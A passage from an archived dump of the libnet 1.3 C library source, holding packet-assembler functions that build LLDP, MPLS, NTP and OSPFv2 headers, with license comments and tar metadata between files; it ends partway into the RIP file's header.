} snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): linktype %d not supported", __func__, l->link_type); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_lldp.c0000664000175000017500000001730414506572036015465 0ustar syqsyq#include "common.h" LIBNET_API libnet_ptag_t libnet_build_lldp_chassis(const uint8_t subtype, const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag) { struct libnet_lldp_hdr hdr = { 0 }; uint16_t type_and_len; libnet_pblock_t *p; uint32_t n, h; if (l == NULL) return (-1); if (value == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): Chassis ID string is NULL", __func__); return (-1); } if (value_s == 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): Incorrect Chassis ID string length", __func__); return (-1); } /* size of memory block */ n = h = LIBNET_LLDP_TLV_HDR_SIZE + /* TLV Header size */ LIBNET_LLDP_SUBTYPE_SIZE + /* Chassis ID subtype size */ value_s; /* Chassis ID string length */ LIBNET_LLDP_TLV_SET_TYPE(hdr.tlv_info, LIBNET_LLDP_CHASSIS_ID); LIBNET_LLDP_TLV_SET_LEN(hdr.tlv_info, value_s + LIBNET_LLDP_SUBTYPE_SIZE); /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LLDP_CHASSIS_H); if (p == NULL) { return (-1); } type_and_len = htons(hdr.tlv_info); if (libnet_pblock_append(l, p, &type_and_len, sizeof(type_and_len)) == -1) goto bad; if (libnet_pblock_append(l, p, &subtype, sizeof(subtype)) == -1) goto bad; if (libnet_pblock_append(l, p, value, value_s) == -1) goto bad; return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LLDP_CHASSIS_H)); bad: libnet_pblock_delete(l, p); return (-1); } LIBNET_API libnet_ptag_t libnet_build_lldp_port(const uint8_t subtype, const uint8_t *value, const uint8_t value_s, libnet_t *l, libnet_ptag_t ptag) { struct libnet_lldp_hdr hdr = { 0 }; uint16_t type_and_len; libnet_pblock_t *p; uint32_t n, h; if (l == NULL) return (-1); if (value == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): Port ID string is NULL", __func__); return (-1); } if (value_s == 0) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): Incorrect Port ID string length", __func__); return (-1); } /* size of memory block */ n = h = LIBNET_LLDP_TLV_HDR_SIZE + /* TLV Header size */ LIBNET_LLDP_SUBTYPE_SIZE + /* Port ID subtype size */ value_s; /* Port ID string length */ LIBNET_LLDP_TLV_SET_TYPE(hdr.tlv_info, LIBNET_LLDP_PORT_ID); LIBNET_LLDP_TLV_SET_LEN(hdr.tlv_info, value_s + LIBNET_LLDP_SUBTYPE_SIZE); /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LLDP_PORT_H); if (p == NULL) return (-1); type_and_len = htons(hdr.tlv_info); if (libnet_pblock_append(l, p, &type_and_len, sizeof(type_and_len)) == -1) goto bad; if (libnet_pblock_append(l, p, &subtype, sizeof(subtype)) == -1) goto bad; if (libnet_pblock_append(l, p, value, value_s) == -1) goto bad; if (ptag) return ptag; return libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LLDP_PORT_H); bad: libnet_pblock_delete(l, p); return (-1); } LIBNET_API libnet_ptag_t libnet_build_lldp_ttl(const uint16_t ttl, libnet_t *l, libnet_ptag_t ptag) { struct libnet_lldp_hdr hdr = { 0 }; uint16_t type_and_len; libnet_pblock_t *p; uint32_t n, h; if (l == NULL) return (-1); if (ttl > UINT16_MAX) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): Incorrect value of ttl", __func__); return (-1); } /* size of memory block */ n = h = LIBNET_LLDP_TLV_HDR_SIZE + /* TLV Header size */ sizeof(uint16_t); /* Size of 2 octets */ LIBNET_LLDP_TLV_SET_TYPE(hdr.tlv_info, LIBNET_LLDP_TTL); LIBNET_LLDP_TLV_SET_LEN(hdr.tlv_info, sizeof(uint16_t)); /* Size is 2 octets */ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LLDP_TTL_H); if (p == NULL) return (-1); type_and_len = htons(hdr.tlv_info); if (libnet_pblock_append(l, p, &type_and_len, sizeof(type_and_len)) == -1) goto bad; if (libnet_pblock_append(l, p, &ttl, sizeof(ttl)) == -1) goto bad; if (ptag) return ptag; return libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LLDP_TTL_H); bad: libnet_pblock_delete(l, p); return (-1); } LIBNET_API libnet_ptag_t libnet_build_lldp_end(libnet_t *l, libnet_ptag_t ptag) { struct libnet_lldp_hdr hdr = { 0 }; uint16_t type_and_len; libnet_pblock_t *p; uint32_t n, h; if (l == NULL) return (-1); /* size of memory block */ n = h = LIBNET_LLDP_TLV_HDR_SIZE; /* TLV Header size */ LIBNET_LLDP_TLV_SET_TYPE(hdr.tlv_info, LIBNET_LLDP_END_LLDPDU); LIBNET_LLDP_TLV_SET_LEN(hdr.tlv_info, 0); /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LLDP_TTL_H); if (p == NULL) return (-1); type_and_len = htons(hdr.tlv_info); if (libnet_pblock_append(l, p, &type_and_len, sizeof(type_and_len)) == -1) goto bad; if (ptag) return ptag; return libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LLDP_TTL_H); bad: libnet_pblock_delete(l, p); return (-1); } LIBNET_API libnet_ptag_t libnet_build_lldp_org_spec(const uint8_t *value, const uint16_t value_s, libnet_t *l, libnet_ptag_t ptag) { struct libnet_lldp_hdr hdr = { 0 }; uint16_t type_and_len; libnet_pblock_t *p; uint32_t n, h; if (l == NULL) return (-1); if (value == NULL) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): Organization Specific string is NULL", __func__); return (-1); } if ((value_s < 4) || (value_s > 511)) { snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): Incorrect TLV information string length", __func__); return (-1); } LIBNET_LLDP_TLV_SET_TYPE(hdr.tlv_info, LIBNET_LLDP_ORG_SPEC); LIBNET_LLDP_TLV_SET_LEN(hdr.tlv_info, value_s); /* size of memory block */ n = h = LIBNET_LLDP_TLV_HDR_SIZE + /* TLV Header size */ value_s; /* TLV Information length*/ /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LLDP_ORG_SPEC_H); if (p == NULL) return (-1); type_and_len = htons(hdr.tlv_info); if (libnet_pblock_append(l, p, &type_and_len, sizeof(type_and_len)) == -1) goto bad; if (libnet_pblock_append(l, p, value, value_s) == -1) goto bad; if (ptag) return ptag; return libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LLDP_ORG_SPEC_H); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_mpls.c0000664000175000017500000000617114506572036015505 0ustar syqsyq/* * $Id: libnet_build_mpls.c,v 1.10 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_mpls.c - MPLS packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_mpls(uint32_t label, uint8_t experimental, uint8_t bos, uint8_t ttl, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_mpls_hdr mpls_hdr; if (l == NULL) { return (-1); } n = LIBNET_MPLS_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_MPLS_H); if (p == NULL) { return (-1); } memset(&mpls_hdr, 0, sizeof(mpls_hdr)); mpls_hdr.mpls_les = htonl((((label & 0x000fffff) << 12) | ((experimental & 0x07) << 9) | ((bos & 0x01) << 8) | ((ttl & 0xff)))); if (libnet_pblock_append(l, p, (uint8_t *)&mpls_hdr, LIBNET_MPLS_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); /* * The link offset is actually 4 bytes further into the header than * before (the MPLS header adds this 4 bytes). We need to update the * link offset pointer. XXX - should we set this here? * Probably not. We should make pblock_coalesce check the pblock type * and adjust accordingly. */ l->link_offset += 4; return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_MPLS_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_ntp.c0000664000175000017500000000755514506572036015342 0ustar syqsyq/* * $Id: libnet_build_ntp.c,v 1.11 2004/11/09 07:05:07 mike Exp $ * * libnet * libnet_build_ntp.c - NTP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_ntp(uint8_t leap_indicator, uint8_t version, uint8_t mode, uint8_t stratum, uint8_t poll, uint8_t precision, uint16_t delay_int, uint16_t delay_frac, uint16_t dispersion_int, uint16_t dispersion_frac, uint32_t reference_id, uint32_t ref_ts_int, uint32_t ref_ts_frac, uint32_t orig_ts_int, uint32_t orig_ts_frac, uint32_t rec_ts_int, uint32_t rec_ts_frac, uint32_t xmt_ts_int, uint32_t xmt_ts_frac, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_ntp_hdr ntp_hdr; if (l == NULL) { return (-1); } n = LIBNET_NTP_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_NTP_H); if (p == NULL) { return (-1); } memset(&ntp_hdr, 0, sizeof(ntp_hdr)); ntp_hdr.ntp_li_vn_mode = LIBNET_NTP_DO_LI_VN_MODE( leap_indicator, version, mode); ntp_hdr.ntp_stratum = stratum; ntp_hdr.ntp_poll = poll; ntp_hdr.ntp_precision = precision; ntp_hdr.ntp_delay.integer = htons(delay_int); ntp_hdr.ntp_delay.fraction = htons(delay_frac); ntp_hdr.ntp_dispersion.integer = htons(dispersion_int); ntp_hdr.ntp_dispersion.fraction = htons(dispersion_frac); ntp_hdr.ntp_reference_id = htonl(reference_id); ntp_hdr.ntp_ref_ts.integer = htonl(ref_ts_int); ntp_hdr.ntp_ref_ts.fraction = htonl(ref_ts_frac); ntp_hdr.ntp_orig_ts.integer = htonl(orig_ts_int); ntp_hdr.ntp_orig_ts.fraction = htonl(orig_ts_frac); ntp_hdr.ntp_rec_ts.integer = htonl(rec_ts_int); ntp_hdr.ntp_rec_ts.fraction = htonl(rec_ts_frac); ntp_hdr.ntp_xmt_ts.integer = htonl(xmt_ts_int); ntp_hdr.ntp_xmt_ts.fraction = htonl(xmt_ts_frac); if (libnet_pblock_append(l, p, (uint8_t *)&ntp_hdr, LIBNET_NTP_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_NTP_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_ospf.c0000664000175000017500000003701714506572036015504 0ustar syqsyq/* * $Id: libnet_build_ospf.c,v 1.12 2004/11/09 07:05:07 mike Exp $ * * libnet * libnet_build_ospf.c - OSPF packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Copyright (c) 1999, 2000 Andrew Reiter * Bindview Development * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "common.h" libnet_ptag_t libnet_build_ospfv2(uint16_t len, uint8_t type, uint32_t rtr_id, uint32_t area_id, uint16_t sum, uint16_t autype, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_ospf_hdr ospf_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_H + payload_s; h = LIBNET_OSPF_H + payload_s + len; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_H); if (p == NULL) { return (-1); } memset(&ospf_hdr, 0, sizeof(ospf_hdr)); ospf_hdr.ospf_v = 2; /* OSPF version 2 */ ospf_hdr.ospf_type = type; /* Type of pkt */ ospf_hdr.ospf_len = htons(h); /* Pkt len */ ospf_hdr.ospf_rtr_id.s_addr = rtr_id; /* Router ID */ ospf_hdr.ospf_area_id.s_addr = area_id; /* Area ID */ ospf_hdr.ospf_sum = sum; ospf_hdr.ospf_auth_type = htons(autype); /* Type of auth */ if (libnet_pblock_append(l, p, (uint8_t *)&ospf_hdr, LIBNET_OSPF_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_hello(uint32_t netmask, uint16_t interval, uint8_t opts, uint8_t priority, uint32_t dead_int, uint32_t des_rtr, uint32_t bkup_rtr, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { return libnet_build_ospfv2_hello_neighbor(netmask, interval, opts, priority, dead_int, des_rtr, bkup_rtr, 0, payload, payload_s, l, ptag); } libnet_ptag_t libnet_build_ospfv2_hello_neighbor(uint32_t netmask, uint16_t interval, uint8_t opts, uint8_t priority, uint32_t dead_int, uint32_t des_rtr, uint32_t bkup_rtr, uint32_t neighbor, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_ospf_hello_hdr hello_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_HELLO_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_HELLO_H); if (p == NULL) { return (-1); } memset(&hello_hdr, 0, sizeof(hello_hdr)); hello_hdr.hello_nmask.s_addr = netmask; /* Netmask */ hello_hdr.hello_intrvl = htons(interval); /* # seconds since last packet sent */ hello_hdr.hello_opts = opts; /* OSPF_* options */ hello_hdr.hello_rtr_pri = priority; /* If 0, can't be backup */ hello_hdr.hello_dead_intvl = htonl(dead_int); /* Time til router is deemed down */ hello_hdr.hello_des_rtr.s_addr = des_rtr; /* Networks designated router */ hello_hdr.hello_bkup_rtr.s_addr = bkup_rtr; /* Networks backup router */ hello_hdr.hello_nbr.s_addr = htonl(neighbor); if (libnet_pblock_append(l, p, (uint8_t *)&hello_hdr, LIBNET_OSPF_HELLO_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_HELLO_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_dbd(uint16_t dgram_len, uint8_t opts, uint8_t type, uint32_t seqnum, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_dbd_hdr dbd_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_DBD_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_DBD_H); if (p == NULL) { return (-1); } memset(&dbd_hdr, 0, sizeof(dbd_hdr)); dbd_hdr.dbd_mtu_len = htons(dgram_len); /* Max length of IP packet IF can use */ dbd_hdr.dbd_opts = opts; /* OSPF_* options */ dbd_hdr.dbd_type = type; /* Type of exchange occuring */ dbd_hdr.dbd_seq = htonl(seqnum); /* DBD sequence number */ if (libnet_pblock_append(l, p, (uint8_t *)&dbd_hdr, LIBNET_OSPF_DBD_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_DBD_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_lsr(uint32_t type, uint32_t lsid, uint32_t advrtr, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_lsr_hdr lsr_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_LSR_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSR_H); if (p == NULL) { return (-1); } memset(&lsr_hdr, 0, sizeof(lsr_hdr)); lsr_hdr.lsr_type = htonl(type); /* Type of LS being requested */ lsr_hdr.lsr_lsid = htonl(lsid); /* Link State ID */ lsr_hdr.lsr_adrtr.s_addr = htonl(advrtr); /* Advertising router */ if (libnet_pblock_append(l, p, (uint8_t *)&lsr_hdr, LIBNET_OSPF_LSR_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_LSR_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_lsu(uint32_t num, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_lsu_hdr lh_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_LSU_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSU_H); if (p == NULL) { return (-1); } memset(&lh_hdr, 0, sizeof(lh_hdr)); lh_hdr.lsu_num = htonl(num); /* Number of LSAs that will be bcasted */ if (libnet_pblock_append(l, p, (uint8_t *)&lh_hdr, LIBNET_OSPF_LSU_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_LSU_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_lsa(uint16_t age, uint8_t opts, uint8_t type, uint32_t lsid, uint32_t advrtr, uint32_t seqnum, uint16_t sum, uint16_t len, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_lsa_hdr lsa_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_LSA_H + payload_s; h = len + payload_s; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSA_H); if (p == NULL) { return (-1); } memset(&lsa_hdr, 0, sizeof(lsa_hdr)); lsa_hdr.lsa_age = htons(age); lsa_hdr.lsa_opts = opts; lsa_hdr.lsa_type = type; lsa_hdr.lsa_id = htonl(lsid); lsa_hdr.lsa_adv.s_addr = htonl(advrtr); lsa_hdr.lsa_seq = htonl(seqnum); lsa_hdr.lsa_sum = sum; lsa_hdr.lsa_len = htons(h); if (libnet_pblock_append(l, p, (uint8_t *)&lsa_hdr, LIBNET_OSPF_LSA_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); if (sum == 0) { /* * If checksum is zero, by default libnet will compute a checksum * for the user. The programmer can override this by calling * libnet_toggle_checksum(l, ptag, 1); */ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); } return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_LSA_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_lsa_rtr(uint16_t flags, uint16_t num, uint32_t id, uint32_t data, uint8_t type, uint8_t tos, uint16_t metric, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_rtr_lsa_hdr rtr_lsa_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_LS_RTR_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_RTR_H); if (p == NULL) { return (-1); } memset(&rtr_lsa_hdr, 0, sizeof(rtr_lsa_hdr)); rtr_lsa_hdr.rtr_flags = htons(flags); rtr_lsa_hdr.rtr_num = htons(num); rtr_lsa_hdr.rtr_link_id = htonl(id); rtr_lsa_hdr.rtr_link_data = htonl(data); rtr_lsa_hdr.rtr_type = type; rtr_lsa_hdr.rtr_tos_num = tos; rtr_lsa_hdr.rtr_metric = htons(metric); if (libnet_pblock_append(l, p, (uint8_t *)&rtr_lsa_hdr, LIBNET_OSPF_LS_RTR_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LS_RTR_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_lsa_net(uint32_t nmask, uint32_t rtrid, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_net_lsa_hdr net_lsa_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_LS_NET_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_NET_H); if (p == NULL) { return (-1); } memset(&net_lsa_hdr, 0, sizeof(net_lsa_hdr)); net_lsa_hdr.net_nmask.s_addr = htonl(nmask); net_lsa_hdr.net_rtr_id = htonl(rtrid); if (libnet_pblock_append(l, p, (uint8_t *)&net_lsa_hdr, LIBNET_OSPF_LS_NET_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LS_NET_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_lsa_sum(uint32_t nmask, uint32_t metric, uint32_t tos, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_sum_lsa_hdr sum_lsa_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_LS_SUM_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_SUM_H); if (p == NULL) { return (-1); } memset(&sum_lsa_hdr, 0, sizeof(sum_lsa_hdr)); sum_lsa_hdr.sum_nmask.s_addr = htonl(nmask); sum_lsa_hdr.sum_metric = htonl(metric); sum_lsa_hdr.sum_tos_metric = htonl(tos); if (libnet_pblock_append(l, p, (uint8_t *)&sum_lsa_hdr, LIBNET_OSPF_LS_SUM_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LS_SUM_H)); bad: libnet_pblock_delete(l, p); return (-1); } libnet_ptag_t libnet_build_ospfv2_lsa_as(uint32_t nmask, uint32_t metric, uint32_t fwdaddr, uint32_t tag, const uint8_t *payload, uint32_t payload_s, libnet_t *l, libnet_ptag_t ptag) { uint32_t n, h; libnet_pblock_t *p; struct libnet_as_lsa_hdr as_lsa_hdr; if (l == NULL) { return (-1); } n = LIBNET_OSPF_LS_AS_EXT_H + payload_s; h = 0; /* * Find the existing protocol block if a ptag is specified, or create * a new one. */ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_AS_EXT_H); if (p == NULL) { return (-1); } memset(&as_lsa_hdr, 0, sizeof(as_lsa_hdr)); as_lsa_hdr.as_nmask.s_addr = htonl(nmask); as_lsa_hdr.as_metric = htonl(metric); as_lsa_hdr.as_fwd_addr.s_addr = htonl(fwdaddr); as_lsa_hdr.as_rte_tag = htonl(tag); if (libnet_pblock_append(l, p, (uint8_t *)&as_lsa_hdr, LIBNET_OSPF_LS_AS_EXT_H) == -1) { goto bad; } /* boilerplate payload sanity check / append macro */ LIBNET_DO_PAYLOAD(l, p); return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_LS_AS_EXT_H)); bad: libnet_pblock_delete(l, p); return (-1); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/src/libnet_build_rip.c0000664000175000017500000000565114506572036015326 0ustar syqsyq/* * $Id: libnet_build_rip.c,v 1.9 2004/04/13 17:32:28 mike Exp $ * * libnet * libnet_build_rip.c - RIP packet assembler * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code 